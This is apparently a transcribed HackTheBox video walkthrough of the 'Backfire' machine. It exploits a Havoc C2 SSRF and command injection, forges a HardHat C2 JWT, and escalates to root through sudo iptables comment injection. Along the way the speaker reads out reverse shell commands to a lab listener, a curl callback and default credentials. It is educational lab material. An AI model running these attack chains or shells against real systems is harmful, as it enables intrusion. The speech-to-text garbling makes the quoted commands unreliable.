text: What's going on YouTube? This is IPSC and be doing backfire from hack the box which has us hacking two different C2s.

title: HackTheBox - Backfire


text: The first is Havoc which has a really cool exploit chain. We spoof an implant that enables us to perform a serverside request forgery attack via the port forwarding command feature which lets us set up a websocket connection to the administration interface authenticate as an operator and trigger a command injection vulnerability through telling Havoc to compile an implant with a payload. Once we get on the box, we discover hard hat C2 is running, which has a static signing key for its JWT tokens. So, we can craft a token to authenticate. And then hard hat C2 allows us just to run commands. Once you exploit that, you discover that the user can run IP tables and IP table save with pseudo, which gives us an elevated file, write, and we can use that to get root on the box. So, let's jump in and hack

title: HackTheBox - Backfire


text: some C2s. As always, we're going to start off with an end map. So - SC for default scripts, SV enumerate versions VVV for double verbose. This gives us things like the TTL 08 output all formats in the end map directory and call it backfire and then the IP address of 1010 1149. And this can take some time to run. So I've already ran it. Looking at the results, we have four ports open. The first one being SSH on port 22. And the banner tells us it's a Debian server. We also have HTTPS on port 443. The header tells us it's engine x1.2. 22.1 and then we get the standard 404 not found page. If we scroll down, let's see, we also have a filtered port on port 5000. So, this just means this port is behaving differently than the other one. So, most likely there's an IP tables rule blocking it. Uh, we have HTTP on port 8000 and that's also running engine X.

title: HackTheBox - Backfire


text: And then we have two files, disable TLS.patch and then havoc.ya. I don't even know what that extension is. But let's go ahead and take a look at the server. And there's going to be one interesting thing here, right? Um, if we do https 1010149 and I should send this over to burp. I think I am. Let's accept the certificate. Uh, did I not send that to Burp? Uh, my intercept's probably not on http history. We'll just go to repeater and we send this git request. We have x-havoc is true. So, we know this page is being hosted by Havoc. That's just something it adds to the HTTP request.

title: HackTheBox - Backfire


text: But if we changed it to like a head request, it doesn't get added. I wonder if it's on a uh post request. It's on post. So, let's try a put. Uh put is not there and it's just an different error page. So, different verbs are behaving differently. Um which is somewhat interesting. However, I found it interesting that the get request does have X-Havoc. That is in the actual code of Havoc, just a fingerprinting thing, right? Um, so let's go and test out port 8000. I'm kind of curious if that's on this as well. So, I'm just going to disable HTTPS. Get it. And we don't have it on port 8000, but let's go to a web browser so we can download that file. So, if we do port 8000 like this, let's download both of these. is the disable TLS and also this which is the config. I don't know exactly what that extension means, but

title: HackTheBox - Backfire


text: let's move those files here. So, let's go downloads disable TLS. And then we also want to grab um the havoc whatever that extension is. And if we look at disable TLS, let's see. Uh we see it's just changing the websocket from secure to plain text. Don't know exactly what that's doing, but it is just disabling SSL on websockets. So, not too interesting for us right now. Let's take a look at the config. So, if we look at the uh config here. So, we have um a listener on 127001. It's binding to port 8443. So, we could try seeing if we can access that. So, NC ZV, let's do 101011.49 8443. does not look like we can. And this is just the standard uh config.

title: HackTheBox - Backfire


text: We have credentials for two users. And these credentials are what they use to log into the Havoc team server. Uh let's see. And the Havoc team server is listing on port 40056. So let's try accessing this. So if we try to access it, we get connection refused. So we have 443. Most likely this port is going to be the one the uh demon talks to. That is going to be the implant of havoc. But let's just go ahead and see if there's any CVE related to this. So I'm going to go over to uh turn burpuite off. Let's do CVE details and then I'm going to search for Havoc.

title: HackTheBox - Backfire


text: We can search this product. uh one vulnerability and there's going to be actually two vulnerabilities. The other one just doesn't have a CVE, but we'll get there when we do. This is going to be a serverside request forgery and there's no proof of concept here. So, I'm just going to go ahead and Google this to see if we can find a blog post. So, looking down, let's see. This is the GitHub issue. That's the CVE details page. We are on this rce. I'm going to skip this. It came out after the box was released and it uh does the exploit for us. So, we don't really learn that much. Uh, let's add GitHub to this. Let's see. Advisory. Uh, there we go. The SSRF PC. So, this is just the Git advisory for it. That's not too interesting, but here we go. We have the SSRF PC.

title: HackTheBox - Backfire


text: Uh, that blog post is good. I'm going to go ahead and um clone this down. And we're going to look at the I don't know if I want to look at the exploit code first or go over the blog code first.

title: HackTheBox - Backfire


text: Um, I'll probably go over the exploit code first. That seems like a better spot to start. Um, the blog has a lot of good detail, but you can see just how much it is here. We'd probably spend like 15 20 minutes going over the blog post and then having to go over the exploit script. It's just a lot, right? So, I'm going to start off though. They had a good screenshot right here. And we can talk about this diagram real quick because if you're not knowledgeable about C2s, this next piece can be a little bit confusing since most likely you're used to attacking applications that just have one service. And a C2 service has so many different services it is um kind of crazy and they're all a little bit different, but generally they always have two components. You normally have the administration service, which is going to be the thing operators talk to. And in HA uh Havoc's case, this is

title: HackTheBox - Backfire


text: going to be a websocket connection. It's not really even HTTP. And then you also have something the implants, demons, or beacons talk to, right? And that's going to be normally a redirector. Most of the time it's HTTP. And the reason you do this is number one, you don't want your um implants talking directly to the C2 service with the same endpoints your operators are because if there's an exploit, then your C2 just gets compromised. Additionally, you want to have some type of proxy in place, right? Because if everything was talking to the same host, if your target discovered one implant, they block that IP address to the host and then you lose all your access. So you generally have a bunch of redirects and these could be different websites or domains. So if they discover one, kill it off. You have a few other

title: HackTheBox - Backfire


text: ones so you can still keep a little bit of access, right? And then in terms of C2s, you normally have two forms of authentication, right? We have the authentication around the administration service. But additionally, each service here, the redirector will have a form of authentication. And we're only going to talk about HTTP here, but that can be many other protocols. Implants can talk over like DNS, SMB, gRPC, Discord, Slack, Teams, Google Drive. It doesn't really matter. All you have to do is send a blob of data one way and a blob of data the other way and then you have a C2 network. It's not dependent on HTTP. But generally you also have a way for implants to authenticate to the C2 because implants can do dangerous things, right? You can um normally upload a file to a C2 server. So you don't just want to have a upload endpoint that accepts anything. You want

title: HackTheBox - Backfire


text: to have some form of authentication. So that's going to be authentication around the beacon. And this is going to be important because at the first stage of this um server side request forgery, we're going to do a authentication packet to authenticate as a beacon to um spoof. And I keep saying beacon. That's cobalt strike terminology. Havoc uses demon, but they're all just implants. Those are all just interchangeable, right? So, let's go ahead and take a look at the exploit script because I think that's a good place to start. Um, right off the bat, we're just doing some type of crypto thing. As I said, we just send blobs of data back and forth. Um, normally C2s, at least in stage two, don't depend on the protocol like HTTPS to do the encryption for them. They normally do their own type of encryption because it makes it much easier to just

title: HackTheBox - Backfire


text: change the protocol up. Right. So right here we have the register agent and we're doing a demon initialize 99 and that's what this command is. You may be thinking this is a bit odd. Why is it just in hex? This 63 is 99. But why do we have four bytes here? Again this is going to come to serialization. If we do um GitHub havoc, we can probably quickly find where this code is. So, let's go to the repo. Then we'll probably go under I think it's team server and then package agent commands.go. I think this is it. Yep. And here's all the things, right? So, we have demon init here. This is going to be initialized as like the hello. And then after it's authenticated, it checks in with a um code of 100. And this is just different handlers, right? Because we're not depending the implant to talk over HTTP, we need to have a way to

title: HackTheBox - Backfire


text: signify all our commands, right? So you could think of demon initialize and the traditional concept would be just going to your application/lo, right? And then checkin could just be going to the homepage. Um sleep could be going to like slactions, but again, we're not using URLs to um determine commands. We're just doing it on our own, right? And kind of how a lot of stage 2 C2s work is they put the handler after the decryption routine. And that way whenever they decrypt a blob then they know what type of packet it is. So this is going to be just a unsigned int32 because that's the default of Golang. So that's why we have this here. We're just doing the same thing. Request ID. That's going to be the same thing. We'd have to look into the packet. And I think the blog post did a good job of highlighting exactly where that is. Um, right here,

title: HackTheBox - Backfire


text: um, it's just talking about how the packet is, but we're just creating a packet to register the agent, right? And if we were importing the library, we just do like um, agent docomand is equal to demon initialize and then would handle this all for us. But since we don't have all the like headers or whatever it is the library to use, we're just hand jimming it in making it exactly um as it would appear. So right here we register to it and then we're going to use open socket and we do 2540. Let's look at the uh 2540 right here. Command socket. So again, we're opening a socket and this is going to open a TCP socket. And then we do 2540 to um do the command socket again. And we have a subcomand of read. And that's going to allow us to read the socket. And then there's also going to be one of right as well, I believe. Right. I may have just missed that.

title: HackTheBox - Backfire


text: Um socket open. I know there's a right.

title: HackTheBox - Backfire


text: Uh right, right socket. There we go.

title: HackTheBox - Backfire


text: 11 subcomand. Do we have subcomands here?

title: HackTheBox - Backfire


text: Let's see.

title: HackTheBox - Backfire


text: Socket command write is going to be 12.

title: HackTheBox - Backfire


text: It's odd that this is 11, but maybe it reads the socket, then writes the socket. Um, so we'll just see if the exploit works. But that's essentially how it's going. There is something else I wanted to point out that I thought was really cool in Havoc that I haven't seen before, and that is under the task dispatch. The reason why we're focusing on sockets and not other things um well number one the socket is where the vulnerability is but it does uh something relatively cool that I don't see a lot of C2s use and they have um this is known request ID thing here and what this is doing is saying if the beacon or implant is sending data that we don't expect. So if we tried to um change the command to be upload which is let's see um what is upload?

title: HackTheBox - Backfire


text: So if we did a fs upload command right it would reject it because it doesn't have a known task associated with it right. So is known request ID. If it's not um let's see yeah so we go through this whole thing and if we don't know the task ID it's going to return false. But with sockets and pivots, no matter what, it returns true. So that bypasses the like ACL of did the team server start this request. And the reason why I think this is the case is going to be these are live data, right? You go when you do a pivot or something like that, you're just sending data back and forth so much you can't really keep track of all the IDs. So it just says, you know what, the socket since it's live data, let's just allow it. I think there probably should have been authentication on the uh command socket open because that doesn't happen

title: HackTheBox - Backfire


text: nearly as much as read and write but they whitelisted the entire command socket. So that's where this serverside request forgery vulnerability comes into play. So let's see if this just works.

title: HackTheBox - Backfire


text: Um we're going to do write q. Let's do python 3 exploit.py-h uh we need the module crypto. Let's do python 3 m vm.vn VN to create the virtual environment. I probably should be using UV in Python because that's the better way to do all these virtual environments nowadays. But um old habits die hard, right? So let's do source VM bin activate.

title: HackTheBox - Backfire


text: And now we can do pip 3 install is it pi? I think it's cryptodome, right? Or maybe it's just cryptodome. Okay, let's try to run this script again. Uh, we need request. So, let's install this. I'm curious what other libraries we're going to end up needing. Exploit. Nope. We're good. So, let's see. We need to do a um IP to open the socket with. So, I'm going to listen on port. We'll do 8,000. So, we do dash I 10 1048.

title: HackTheBox - Backfire


text: And then, let's see. We need the port. We'll do 8,000.

title: HackTheBox - Backfire


text: What are the other things we need? We just run this. Uh, we need the target, of course. So, this will be HTTPS 1014. Nope. 1010 1149 trying to register. And there we go. We see a connection back from 1010 1149.

title: HackTheBox - Backfire


text: And it sent the request here, right? And that's what it's writing. Let's go back to this exploit script. Let's see.

title: HackTheBox - Backfire


text: We open the socket. Now we're doing a request data on get/vulnerable.

title: HackTheBox - Backfire


text: And this is just hand jamming the HTML in. We do a write socket and then we read. So this is the um server side request forger. It kind of makes sense. It's in the uh pivoting thing because when you do or I guess it's in the port forwarding thing I should say because when you do a port forward you need to be able to open a TCP socket, write data and read data. So we're just taking advantage of port forwarding and this um and this alone can be somewhat bad because it can lead to um deanmizing the team server because we're the beacon. We send this to the redirector and then we make the team server make a connection.

title: HackTheBox - Backfire


text: So that's how we can leak the team server ID um IP address. However, there's also a rce vulnerability in Havoc when it comes to the operator and that was not actually in that doesn't have ACVE associated with it. Let's just um see if I can find it real quick. Vulnerabilities in C2 networks. I want to say it's a pretty good research by someone and it's not just going to be um Havoc. they found. I'll add GitHub. I think this is it.

title: HackTheBox - Backfire


text: Yes. So, there's a good blog here. Um, again, I'd highly recommend you read this. I'm not going to read it because it would just take a lot of time, but we can quickly go over it, right? It's just got a few C2s and a lot of them are suffering from the same vulnerability. And like whenever I thought about C2 vulnerabilities, the one that always comes to mind is upload with a uh path reversal vulnerability. But a lot of these don't have that, right? If we look at shadow, this is um I don't know if it's being updated as much anymore, but this PC is I'm taking advantage when the C2 server attempts to compile something, right? So, we have shadows vulnerable to unauthenticated rce malicious beacon can specify an architecture value when registering the team server and when the operator operates with the beacon in

title: HackTheBox - Backfire


text: certain ways, it is injected into the system compile command, which is somewhat interesting, right? Um, and that's going to be similar to havoc. Let's go over sliver. Slivers is a little bit different, but it's kind of the same thing. Um, if we look at this, what we do is generate a metas-ploit sager and specify the out as the golang binary and then sliver overwrites go and then that's how you get command execution there, right? Um, so a lot of these just are dealing with um the C2 server compiling the agent and I want to reopen close tab because I did not mean to close that. So if we go over to now Havoc off rce let's see do they explain it pretty clearly here. Um so essentially there's no sanitization on the service name field. So when the when the operator says, "Hey, build an implant that's going to run as this service, it's going to pass that over to a probably a GCC command to compile it."

title: HackTheBox - Backfire


text: And then there's no sanitization there. So we can look at what that looks like. If we look at the um builder, let's see.

title: HackTheBox - Backfire


text: There we go. So when it builds the command, it does a shell- c and then pipes in this command here. And where it generates that is going to be uh I want to say here, right?

title: HackTheBox - Backfire


text: Let's see. That's not it.

title: HackTheBox - Backfire


text: Builder code service name field. Am I here? There we go. Um, so it's setting the service name here. There was another piece that had all like the make options, but I can't find it now. But essentially, it's just piping it to a GCC command. Um, is that here? There we go. Here's all the flags, right? Dash OS F no synchronize whatever. But it's passing that. And then we will inject into the service command. Put a semicolon escape out of GCC. and then run the command we want.

title: HackTheBox - Backfire


text: Now the issue is if I can find this um the rce itself we're talking to the team server IP address port 40056. We can't talk to that IP address. So what we have to do is use the server side request forgery to smuggle websocket request into it and then from the beacon use that SSRF to authenticate over websockets. Then we stand up a listener and then we say, "Hey, compile a uh demon for this listener." And that's where we do the command injection. So we can't just run this payload ourselves because we can't talk to port 40056. So we'll have to um convert this into a websocket and we're going to convert the exploit script we have here to use websockets. And I'm going to cheat a little bit here um because in order to start this we I used like AI to um create a lot of the code for me and that just doesn't always translate doing these live videos. I tried recording it a few times using it and I just did not like the result. So I'm just going to

title: HackTheBox - Backfire


text: paste it in some code. And right here you're just asking the AI to generate some raw HTTP code to initiate a websocket handshake. Right. Um, and this is all it is when you start a websocket.

title: HackTheBox - Backfire


text: This is kind of what it looks like. And let us just um use this real quick. So before we actually smuggle it to the team server, I like doing it back to my local host so I can see the data. So we'll just do request data is equal to create web soocket init request and then the host I'm going to send it to 127001. The port is going to be 40056.

title: HackTheBox - Backfire


text: And then the path that's going to be SLHavoc, right? And if we look at the code here, um, this is what we're mimicking, right? This request and then we do post to SLHavoc. So let's save this. And then when we run it, hopefully we see the data. So, nvnp 8000. Let's run this.

title: HackTheBox - Backfire


text: Uh, B 64 is not defined. So, we need to import B 64. How are we using it? We just do B 64.dode. That's fine. Import B 64. Save.

title: HackTheBox - Backfire


text: Run. There we go. So, this is what we want to see. This is initializing the websocket.

title: HackTheBox - Backfire


text: So now we can just send websocket frames to the server. And then that's how we communicate over websockets. Now again, we're going to use the magic of um copy and paste from what I've previously done, but you just ask the AI to generate a websocket frame for you. And they give you a lot of code, but it's normally going to be around like boiler plates and a class and things like that. So you just got to strip that out. But this is essentially um websocket code.

title: HackTheBox - Backfire


text: Don't really have to explain that much because uh we don't really need to understand it. We just have to be able to write it. So let's do request data now is equal to create websocket frame and then whatever message we want. I'll just say please subscribe. It's not going to look like please subscribe, but we'll just see extra data written to it.

title: HackTheBox - Backfire


text: That looks fine. So, let's now run the exploit again. We will and see. Run this. And strruct is not defined. We have to import strruct.

title: HackTheBox - Backfire


text: Import strruct. There we go.

title: HackTheBox - Backfire


text: Let's stand netcat up again. And we did not write the next thing.

title: HackTheBox - Backfire


text: That's not good. Uh because I didn't send the right request. We just created it. There we go.

title: HackTheBox - Backfire


text: Run this. We connect. And then that is please subscribe encoded in websocket. So now we can initiate this and then send data. Right? So the next thing is we just have to be able to authenticate to the team server. So I'm going to uh let's copy this whole thing and this is what we're going to have to send. So we'll do vx exploit.

title: HackTheBox - Backfire


text: So we initialize the request and now we want to create this frame. So let's do uh payload is equal to or actually I think I copied the entire thing. Okay.

title: HackTheBox - Backfire


text: And this is using password user. So we got two variables to add. So let's go back up here. And then we can add um we'll say um ts we'll do dash capital u for the team server user and we'll say ts- user and the default is going to be Ilia.

title: HackTheBox - Backfire


text: I'm not going to bother modifying that help. You can do that but um yeah. So the password we'll do ts d- pass and then this is Ilia's default password which we have in this config and that's going to be cobalt strike sucks. Okay, we can paste that in for the default. And then here for a password we can just do args.ts-pass.inccode. Hopefully that's doing it correctly. I don't like that highlighting. And then user args.ts-user.

title: HackTheBox - Backfire


text: And we'll do it here as well. Okay.

title: HackTheBox - Backfire


text: And then the payload we need to do like a JSON dumps on payload.

title: HackTheBox - Backfire


text: So JSON.dumps payload.

title: HackTheBox - Backfire


text: And I want have to encode this. I guess we'll see.

title: HackTheBox - Backfire


text: Import JSON. Save. Let's just make sure it works against us. Uh, invalid syntax.

title: HackTheBox - Backfire


text: I don't know what it doesn't like.

title: HackTheBox - Backfire


text: Let's see. Actually, I think that highlighting I need to do underscores.

title: HackTheBox - Backfire


text: And that may be it. Let's see.

title: HackTheBox - Backfire


text: Save. Please run. Okay, that may have been it.

title: HackTheBox - Backfire


text: Uh, we need to import hashlib now. So, let's do a import hash lib. Save that.

title: HackTheBox - Backfire


text: Then try this again. It sent a bunch of data. I'm assuming that's good. So, let's go ahead and um change this up to say we want to now talk to 40056 and this will be 127001. And that looks we don't get any data back, right? But let's try changing. That was odd. The second time it did not work. We got a moved permanently. I wonder it's because we authenticated twice too quickly. Okay, I'm going to do IPSC and please subscribe. So, we're going to get a invalid password and see what happens. So, we do the SSRF and then we get a bad gateway.

title: HackTheBox - Backfire


text: So something definitely odd goes on when we have a invalid username. We can try it again. Uh that time it worked. I think our code is not really working.

title: HackTheBox - Backfire


text: Let's see. We write.

title: HackTheBox - Backfire


text: Maybe it is. I am honestly not sure.

title: HackTheBox - Backfire


text: I don't like that we get that bad request occasionally. Let's see. Do I have V exploit Havoc? I may be need that slash here.

title: HackTheBox - Backfire


text: Let's see. That seems to be working more.

title: HackTheBox - Backfire


text: So, we're getting the same result. Let's put a invalid password. See what happens.

title: HackTheBox - Backfire


text: And we got an error with invalid password. I think that's good.

title: HackTheBox - Backfire


text: Try it again. So, whenever we have something invalid, we get um some type of error. I'm not going to bother trying to decode this because I don't think we have to. But this kind of validates that things are working, right? When we have the default usernames, which we coded to be valid, we don't get any errors. That just seems to be working. We put a invalid username and now we have an error. So, we know we're talking to the team server. Don't know exactly if we're talking in a good way, but hey, we're talking. So, let's go and do the next thing. We have to create the listener to build the agent for. So let's go ahead and go back to our exploit. And we'll say uh we don't want to read yet. There we go. Payload is equal. Actually, I copied everything. And we don't have any arguments here, right? Oh, we have um user. So let's do args.ts

title: HackTheBox - Backfire


text: user. That should be fine. and we will create the request data and write socket. So this is us standing up a listener and then the final payload is um where we do the command injection.

title: HackTheBox - Backfire


text: And I don't know if I like this. Let's see. Okay, I guess this is fine.

title: HackTheBox - Backfire


text: Let's see. paste. This is messy.

title: HackTheBox - Backfire


text: So, injection payload set to be on one line.

title: HackTheBox - Backfire


text: Okay. So injection we're just going to put we'll do args.c cmd. We'll have to create this in our parser. Where is that? Here we do dash cmd and the default will be ID.

title: HackTheBox - Backfire


text: Okay, so we have the args pasting and you can see right here specifying the service name and then that.

title: HackTheBox - Backfire


text: Okay, we do that and now we just need to do the request data and send it. Okay, let's see what happens. Uh, no promises. We'll do dash c. We have the default usernames in um wonder if let's just run it. I don't know if we get output back. Uh, user is not defined.

title: HackTheBox - Backfire


text: So, we need to do args.ts user.

title: HackTheBox - Backfire


text: Run this. And I think everything's working fine.

title: HackTheBox - Backfire


text: I'm going to do nclvnp 90001. And I'm going to specify the argument of curl http 10 10148 90001.

title: HackTheBox - Backfire


text: And we have the team server hitting us with curl. So now let's try a shell. And I always hate putting like the um bash shell like unencoded in the command because all the escape characters. So I'm going to do a b 64 thing. So we'll do echo- n bash- i devt tcp 1010 1048 91 0 and one like that. B 64 W 0. And let's see. I'm going to get rid of special characters by just eyeballing where they are and like putting a space.

title: HackTheBox - Backfire


text: That looks fine. So, we should be able to echo this. So, we can do echo B 64-D and then pipe it over to bash nclvnp 90001.

title: HackTheBox - Backfire


text: Run this. And there we go. We have a shell as Ilia. And this shell is actually going to vanish um in a little bit. I think normally like in a minute or two. So I'm going to go and drop an SSH key and see if we can do it quickly. Uh let's do let's go up one directory. SH key gen uh-t I think. Format ED 2551.

title: HackTheBox - Backfire


text: I don't remember that. Um key shed d25519 I think. Yeah, this is it. SH-t Okay, I just didn't need the space. I'll call it IPSC catips.pub.

title: HackTheBox - Backfire


text: I just like this key because it is much shorter. Right. So now we can copy this echo into uh we'll do double so we don't erase things. Authorize keys. We can cat it to make sure it's here.

title: HackTheBox - Backfire


text: Looks like it is. SH-IPS Ilia at 101011.49.

title: HackTheBox - Backfire


text: And there we go. We have a shell as the Ilia user. So we can exit this. it would die probably in a couple minutes. So before we move on, let's just quickly summarize the attack chain because I thought it was pretty cool, right? It starts out with knowing the credentials to the C2 servers administration interface. However, we can't access any of the TCP sockets cuz it's properly firewalled, right? But we can access the service used to talk with implants. So we spoof a demon which is a implant and that lets us authenticate as the implant itself. But our access is relatively limited. Really the only thing we can do is um port forwarding type of things, right? But we can abuse port forwarding to create a serverside request forgery. It's actually probably more than serverside request forgery because we have the ability to just write raw data to TCP sockets. So what we'll do is use

title: HackTheBox - Backfire


text: that uh port forwarding vulnerability to open a TCP socket to the administration interface and then hand jam websocket data in to authenticate to the team server then set up a listener so we can compile a implant which is a demon and during that compilation there is a command injection vulnerability. So from the beacon we're able to go all the way through get a command execution vulnerability and log into the C2 server. So now we're on here and we're the Ilia user. Um, we can do aps-fest to see like the running processes on the box. And we see Havoc here. That's no surprise. But we see Sergey has hard hat C2 client. And there's also a team server associated with that. Um, there was a filtered port when we were doing the endmap scan at first. So I'm going to do a SSLTP.

title: HackTheBox - Backfire


text: And we see port 5000. This is the one that was filtered. There's also 7096.

title: HackTheBox - Backfire


text: So let's just do a curl request there. So we'll do um actually we'll do netcat.

title: HackTheBox - Backfire


text: So 1270 01 5,000 we get nothing. 7096 nothing. Okay, we can do a curl. Let's try https. Um 127001 5000. Uh, not found because of a typo.

title: HackTheBox - Backfire


text: It looks like that's a web service. We'll do 7096.

title: HackTheBox - Backfire


text: And we get a page. So, I'm going to guess this is Herd Hhat C2. Um, we can probably just search herd. U Did I script the casing? There we go. So, this looks like it's going to be the herd hat C2 interface. We don't have any credentials. We could try replaying the credentials ourselves, but if we look at hard hat C2 vulnerabilities first. So we'll do hard hat C2 auto search exploits I guess. Go to Google. Um let's see there is something Havoc is coming up oddly enough. Hard hat vulnerabilities. Let's see. Is this it?

title: HackTheBox - Backfire


text: This is just talking about it. U maybe oh here we go the very top result I just skipped it because I assume that was an advertisement but if we look at this Medium article uh there is a authentication bypass and that's going to be the one we use and it's just saying they use a static JWT signing key which means the key is not changed anytime. So, um, we can either get the JWT and then make the cookie ourselves or we can just quickly stand up hard hat, log in, and then copy and paste the JWT. And that's what I'm going to do because I don't really want to dig through the source code to figure out all the parameters the JWT needs. I'd rather just um use Docker to spin it up, right? So, I'm going to do hard hat C2 GitHub and then we'll find the page.

title: HackTheBox - Backfire


text: I think this may be it. Uh, this looks fine.

title: HackTheBox - Backfire


text: And then we can do let's go get clone. Paste this.

title: HackTheBox - Backfire


text: I wonder if this is it. It was forked from Crucible.

title: HackTheBox - Backfire


text: This is two years ago. What is Crucible? Last year. Um, I'm not sure exactly what one it is, but we'll try this. Uh, maybe not. Does this have a Docker file? It doesn't. This one does. We'll go with this. Get clone. Always go with the one that has Docker when you're trying to do exploits for at least first because it's as easy as doing a Docker compose up and then it's going to pull and um build it. So, I'm going to pause the video and we're going to um continue once this finishes because it can take a minute or two to download everything and build it. Okay, the docker has been built and we see just on the standard out we have credentials here. Hard hat admin and this password. If you don't see that right at the start, you can always go into um the directory and then do like docker compose logs and then grab- i

title: HackTheBox - Backfire


text: password. I'm going to do dash before one. And you can also get it that way. Sometimes like the hard hat server may start up first and then it won't be at the very bottom. And then if you don't see this at all because you ran this before, the password only shows the first time. So you would have to stop it then do like a docker system prune- a docker volume uh prune- a right but we have the password there. So let's go ahead and log in. So hard hatmin and that's the password. So let's do https 127001 uh 7096 I want to say was hard hat's port. That looks correct. accept the certificate and then we'll paste that password. Let's grab the username.

title: HackTheBox - Backfire


text: Log in and then we're at the admin dashboard. We can create a user. If I look at my cookies, uh they are blank. So probably under local storage, we can see all the um cookies, right? So if I want to see what the uh values it put in was I think this is it. Maybe it's the next one. Uh, that's probably fine.

title: HackTheBox - Backfire


text: There we go. JQ. So, if we knew the static key, we could just go to like jwt.io, put the key in, and then create all these, um, keys and the values and do it that way. But since we're logged in and the cookie is already there, when we do the port forward, um, we're going to use the same port and everything and it's already going to have all that information. So, we don't even have to save that, right? So, I'm going to go back to my Docker. We're going to stop this. So, now I have nothing listening on 7096. Um, I should do a GP. Yep, nothing is listening. So, we're going to go to SSH. Uh, set a port forward 796 127001 7096. If you don't know how I got in that menu, if the first thing you type on a line is squiggly C, it drops you in that, right? So, I'd normally do enter then squiggly C to get into that prompt.

title: HackTheBox - Backfire


text: But now uh port 7096 is pointed to the box. So I'm going to refresh. We got a new SSL certificate, right? We're going to accept it. That's says not authorized. Let's see. Reconnects. And we're magically in settings because we never wiped our storage. So it had all our default cookies. Right. So now we just want to create a user. I'm going to do ipsack password of password. And then what role I want to give myself. Definitely not guest. I'm between team lead and operator. I'm going to do operator. Click create. I think team lead works as well.

title: HackTheBox - Backfire


text: But there we go. We created credentials. So I'm going to log out of admin.

title: HackTheBox - Backfire


text: And then we're going to log in with IPS. So IPSC password.

title: HackTheBox - Backfire


text: Log in. And here we go. We're now in hard hat.

title: HackTheBox - Backfire


text: And there is a way to go into the terminal. So we can just click terminal here. I think we click a plus and then we can run command. So we do ID, click send, and I think we'll eventually see the um output there, which may take a little bit. So, what I'm going to do real quick, nc lvnp 9,0001 b- c b- i dev tcp 1010 148 9,0001 0 and one like that. And now let's send this. Send that command. Um, I don't know why my ID command didn't show up there. But now we're um Sergey on this box. And I'm just going to go in SSH real quick. I'm going to add the key there. I don't think we have to.

title: HackTheBox - Backfire


text: We can probably just do the standard port forward upgrade, but we already have my public key generated. So, might as well just copy then paste this. So, let's copy this.

title: HackTheBox - Backfire


text: And then we can do echo paste this in authorized keys.

title: HackTheBox - Backfire


text: Then I'll do a new pane. sh- IPS. Um, I think that's it. 10 10 1149.

title: HackTheBox - Backfire


text: There we go. Now we're logged in as Sergey. If I do a pseudo-l, we can see I can run IP tables and IP tables-ave as root. And if we look at these text files, um, hard hat firewall.sh, um, it shows why, right? This is a C2 operator and he's just making sure that um the administration interfaces are disabled so you can't access them externally which is good right but if we look at IP tables let's see if I can Google this real quick um let's see pseudo IP tables maybe exploit um yep maybe this a journey from pseudo IP tables to local privves and let's see pseudo starting line.

title: HackTheBox - Backfire


text: It's talking about a lot mod probe.

title: HackTheBox - Backfire


text: So this looks like what we have essentially IP tables allows comments, right? So we have a comment right here and the comments allow line breaks. So right here they're doing a line break and then IP table save can save it to a file, right? So file overwrite with IP table save.

title: HackTheBox - Backfire


text: So let's see proof of concept. So they're adding a root user here. I'm not going to do that. Let's see if we can just add my SSH key because changing shadow or pass WD definitely not something I want to do. Uh this will probably require the SSH directory being created. U but most of the time that's the case, right? So I'm going to copy this. We will look at the command. So IP tables input, we're just accepting everything. That seems fine.

title: HackTheBox - Backfire


text: And then what we want to do is a line break. I'll do two line breaks.

title: HackTheBox - Backfire


text: And cat ips.pub. And we will create this rule.

title: HackTheBox - Backfire


text: Paste that in. And if we do pseudo ip tables-l, we can see this is what the rule is. So we have that. We got a comment a new line. That looks good. And then let's see. Uh we could do IP table save to see what that looks like. See, we're just putting that line there. And now that I think about this, it's probably not OBS safe to just um overwrite authorized keys because we can't see that file first. So, there's a high chance that we screw something up, right? But I want to say uh there's multiple authorized key files, right? G- I Let's see. Authorized keys. I'm going to try two and we'll see if that works. Um before we do this, let's do IP table save. We'll do temp test. If we cattemp test, that looks good. ls-la on that file. Looks good. So, I'm going to do /root. SSH authorized keys 2. I don't know if that's going to work, but um we'll see.

title: HackTheBox - Backfire


text: SH-IPS to root at 1010 11149 and we get in. Sweet. So, both of those files do work as authorized keys. Um, if we remove authorized keys, too. Exit. I'm going to run it again. You can see permission denied. Save it. And there we go. And again, the reason why I always think about the opsec when you have a file overwrite and you can't read the file first, um, if the client had any authorized keys in this, then you're wiping them and you can't restore it because you don't know what the file contents were, right? Um, I've very rarely ever seen authorized keys too on a server. Actually, I've never seen it outside of Hack the Box. So, that's why I thought about it, right? Um, again, if we uh c the etsy sh config, um, it shows that's the default. There may be other ones here. I'm not sure. But, uh, yeah, authorized keys too does work. So, with that being said, that's going to be the box. Hope you guys enjoyed the

title: HackTheBox - Backfire


text: video. Take care and I will see you all next time.

title: HackTheBox - Backfire